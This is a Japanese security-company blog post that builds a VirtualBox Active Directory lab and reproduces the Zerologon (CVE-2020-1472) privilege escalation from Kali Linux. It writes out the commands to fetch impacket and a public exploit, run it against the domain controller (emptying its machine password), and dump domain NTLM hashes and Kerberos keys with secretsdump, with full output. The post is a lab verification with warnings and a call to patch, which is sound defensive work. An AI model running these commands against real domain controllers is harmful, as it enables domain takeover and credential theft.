このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。
あるもりすぶろぐの内容は個人の意見です。
今週も検証の前にちょこっと宣伝
Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆
Zerologonを検証してみる
自身が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。
今回のArmoris日記はZerologonの検証用環境を作成し、ツールを用いて攻撃が成功するかを検証します。
脆弱性についての詳しい説明や原因については多くの方が解説しているので、ここでは簡単に概要を説明します。
ZerologonとはActive Directoryでユーザーとシステムの認証の為に利用されているNetlogonプロトコルの実装における権限昇格の脆弱性になります。本脆弱性を悪用することでドメインコントローラーに接続している端末を全て制御することが可能になります。
実際にPoCも公開されており、脆弱性を悪用した攻撃が確認されています。
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2019
- Windows Server version 1903/1909/2004
参考:piyolog
検証環境
検証に使用した環境と各種バージョンは以下のとおりです。
Name | Version |
---|---|
Windows Server 2019 | 1809 |
Kali Linux | 2020.2 |
VBoxを使用してWindows Serverを準備する
今回はWindows Server 2019の評価版ISOとVirtual Boxを使用してActive Directory環境を構築します。
リンク先のサイトにアクセスして以下の手順に従ってWindows Server 2019のISOをダウンロードします。
以下の画面でISOを選択します。
次へを押して必要事項を入力します。
入力が完了したら次へを押してダウンロードします。
ISOファイルのダウンロードが完了したらVBoxを使用して環境を準備していきます。
VBoxの新規作成から以下のように設定してISOファイルを選択して起動します。
私はメモリ2GBとディスク20GBのデフォルト割り当てを使用しました。
今回は英語環境を使用するので以下の設定でインストールをします。
インストールするものはDesktop Experiensを選択します。
インストールが完了すると画像のようにAdministraterのパスワード入力を求められます。
ここでは記号などが入っているものでないと設定ができない為、Passw0rd!
などを使用して設定します。
設定が完了すると自動的に再起動します。再起動後に以下のような画面になればインストールは完了です。
表示されている通りにCtrl+Alt+Delete
を押して先ほど設定したパスワードを入力しログインします。
ログインが完了してしばらくすると自動的にServer Managerが起動します。
以上でWindows Serverのインストールが完了しました。
Active Directoryを設定する
次にActive Directoryの設定を行います。
まずはServer Manager
からAdd roles and features
を選択します。
Add Roles and Features Wizardが表示されたらNext
を押していき、Select server roles
の項目でActive Directory Domain Services
にチェックを入れます。
すると以下のような画面になるのでAdd Features
を押します。
そのままNext
を押していき、install
を押してインストールが完了するのを待ちます。
インストールが完了すると以下のように青文字でPromote this server to a domain controller
と表示されるのでクリックします。
以下のような画面になったらRoot domain name:
を入力してNext
を押します。
今回はlocalhost.test
と入力しています。
次にパスワードの設定を行います。今回は検証のためPassw0rd!
で設定しています。
その他はデフォルト設定のままでインストールの事前チェックで問題がなければインストールを実行します。
インストールが完了すると自動的に再起動が行われます。
再起動が完了したらActive Directoryのインストールは完了です。
Active Directoryの設定をする
Active Directoryのインストールが完了したらユーザーとグループを作成します。
Server Manager
のTools
からActive Directory Users and Computers
を選択します。
ウィンドウが開いたら先ほど設定したlocalhost.test
を展開します。
Users
を右クリックしてNew
からUser
を選択します。
各種必要事項を入力していきます。
検証用に以下の情報を入力しています。
First name: test Last name: user User logon name: test-user
必要事項の入力が完了したらパスワードを設定します。
ここでも検証用にPassw0rd!
を設定しています。
パスワードを入力したらNext
を押して進みユーザーを作成します。
ユーザー作成が完了したらグループを作成していきます。
まずは先程と同じようにUsers
を右クリックしてNew
からGroup
を選択します。
Group name:
にTestGroup
と入力してOK
を押してグループを作成します。
グループの作成が完了したらユーザーをグループに追加します。
先程作成したTestGroup
をダブルクリックし、Memvers
の項目からAdd
を押します。
ウィンドウが開いたらtest-user
と入力し、Check Names
を押してOK
を押します。
これでグループに作成したユーザーが追加されます。
これでActive Directoryの設定が完了です。
ツールを使って検証する
Windows Serverの環境ができたらKali Linuxからツールを使用してZerologonの検証を行います。
ツール使用時にWindows ServerのDevice name
を使用する為事前にメモしておきます。
Settings
のSystem
項目にあるAbout
から確認できます。
まずは以下のツールの準備をします。
┌──(user㉿kali-linux)-[~/Desktop] └─$ git clone https://github.com/SecureAuthCorp/impacket.git Cloning into 'impacket'... remote: Enumerating objects: 64, done. remote: Counting objects: 100% (64/64), done. remote: Compressing objects: 100% (57/57), done. remote: Total 18794 (delta 30), reused 20 (delta 7), pack-reused 18730 Receiving objects: 100% (18794/18794), 6.28 MiB | 4.56 MiB/s, done. Resolving deltas: 100% (14300/14300), done. ┌──(user㉿kali-linux)-[~/Desktop] └─$ cd impacket ┌──(user㉿kali-linux)-[~/Desktop/impacket] └─$ pip3 install .
次に権限昇格用のツールを準備します。
┌──(user㉿kali-linux)-[~/Desktop] └─$ cd impacket/examples ┌──(user㉿kali-linux)-[~/Desktop/impacket/examples] └─$ git clone https://github.com/VoidSec/CVE-2020-1472.git Cloning into 'CVE-2020-1472'... remote: Enumerating objects: 75, done. remote: Counting objects: 100% (75/75), done. remote: Compressing objects: 100% (69/69), done. remote: Total 75 (delta 41), reused 18 (delta 6), pack-reused 0 Unpacking objects: 100% (75/75), 3.75 MiB | 2.86 MiB/s, done. ┌──(user㉿kali-linux)-[~/Desktop/impacket/examples] └─$ cd CVE-2020-1472 ┌──(user㉿kali-linux)-[~/Desktop/impacket/examples/CVE-2020-1472] └─$ pip3 install -r requirements.txt
まずはActive Directoryにログインして情報の取得を試みるツールを権限昇格前に試します。
┌──(user㉿kali-linux)-[~/Desktop/impacket/examples] └─$ python3 secretsdump.py -no-pass -just-dc localhost.test/WIN-GO7TKNGMALG\$@10.0.1.38 Impacket v0.9.23.dev1+20201203.125520.aa0c78ad - Copyright 2020 SecureAuth Corporation [-] RemoteOperations failed: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.) [*] Cleaning up...
次にExploit Codeを実行します。
┌──(user㉿kali-linux)-[~/Desktop] └─$ cd impacket/examples/CVE-2020-1472 ┌──(user㉿kali-linux)-[~/Desktop/impacket/examples/CVE-2020-1472] └─$ python3 cve-2020-1472-exploit.py -n WIN-GO7TKNGMALG -t 10.0.1.38 _____ __ /__ / ___ _________ / /___ ____ _____ ____ / / / _ \/ ___/ __ \/ / __ \/ __ `/ __ \/ __ \ / /__/ __/ / / /_/ / / /_/ / /_/ / /_/ / / / / /____/\___/_/ \____/_/\____/\__, /\____/_/ /_/ /____/ Checker & Exploit by VoidSec Performing authentication attempts... ....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... [+] Success: Target is vulnerable! [-] Do you want to continue and exploit the Zerologon vulnerability? [N]/y y [+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.
Success
と表示されていればActive Directoryの権限昇格が成功しています。
再度情報の取得を行ってみます。
┌──(user㉿kali-linux)-[~/Desktop] └─$ cd impacket/examples ┌──(user㉿kali-linux)-[~/Desktop/impacket/examples] └─$ python3 secretsdump.py -no-pass -just-dc localhost.test/WIN-GO7TKNGMALG\$@10.0.1.38 Impacket v0.9.23.dev1+20201203.125520.aa0c78ad - Copyright 2020 SecureAuth Corporation [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:902af79092df128cba8e16f0a1e6d206::: localhost.test\test-user:1103:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: WIN-GO7TKNGMALG$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:c3d2d56da0412c305dc24133124f94ea8d718fcd8033556644753772d289db52 Administrator:aes128-cts-hmac-sha1-96:f5325fb0fe00356deccd66c6adeeae82 Administrator:des-cbc-md5:e97a6d8a49bf133e krbtgt:aes256-cts-hmac-sha1-96:fd95e1d9581d9f4b2d7f58a961c50b2b802c20e7578a2c253b9042b1158dc0ae krbtgt:aes128-cts-hmac-sha1-96:11fb466f7a6d163c341cea5403a888a7 krbtgt:des-cbc-md5:d0864662d00dd5ec localhost.test\test-user:aes256-cts-hmac-sha1-96:7d4d27b69a3fc671edd7a541e212c8380372479a96dba6a99e89dc41240fded2 localhost.test\test-user:aes128-cts-hmac-sha1-96:8c47b02207a82868e541497b6c71da21 localhost.test\test-user:des-cbc-md5:5e6d62b9f2f4e6cd WIN-GO7TKNGMALG$:aes256-cts-hmac-sha1-96:387891ec7aa06b29d18be0b914a45cf7fc1d9fd3881fb51b20356370e16e0535 WIN-GO7TKNGMALG$:aes128-cts-hmac-sha1-96:485e8beb173dd30b78b62db516fdc330 WIN-GO7TKNGMALG$:des-cbc-md5:ec6b8a37dff81acb [*] Cleaning up...
今度は先程作成したtest-user
に関する情報を含め、実際にActive Directoryから不正に情報を取得することに成功しています。
今回の検証は以上になります。
最後に
今回検証したZerologonと言われる脆弱性は実際にツールがいくつも公開されており、脆弱性を悪用した攻撃が確認されています。また、今回の脆弱性による攻撃は正常な認証プロセスの中で行われる為、イベントログに記録されるものだけでは判別が難しくなります。
すでに修正パッチが配布されていますが、まだ適用されていない場合は早急にパッチを適用するようにしてください。
自身が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。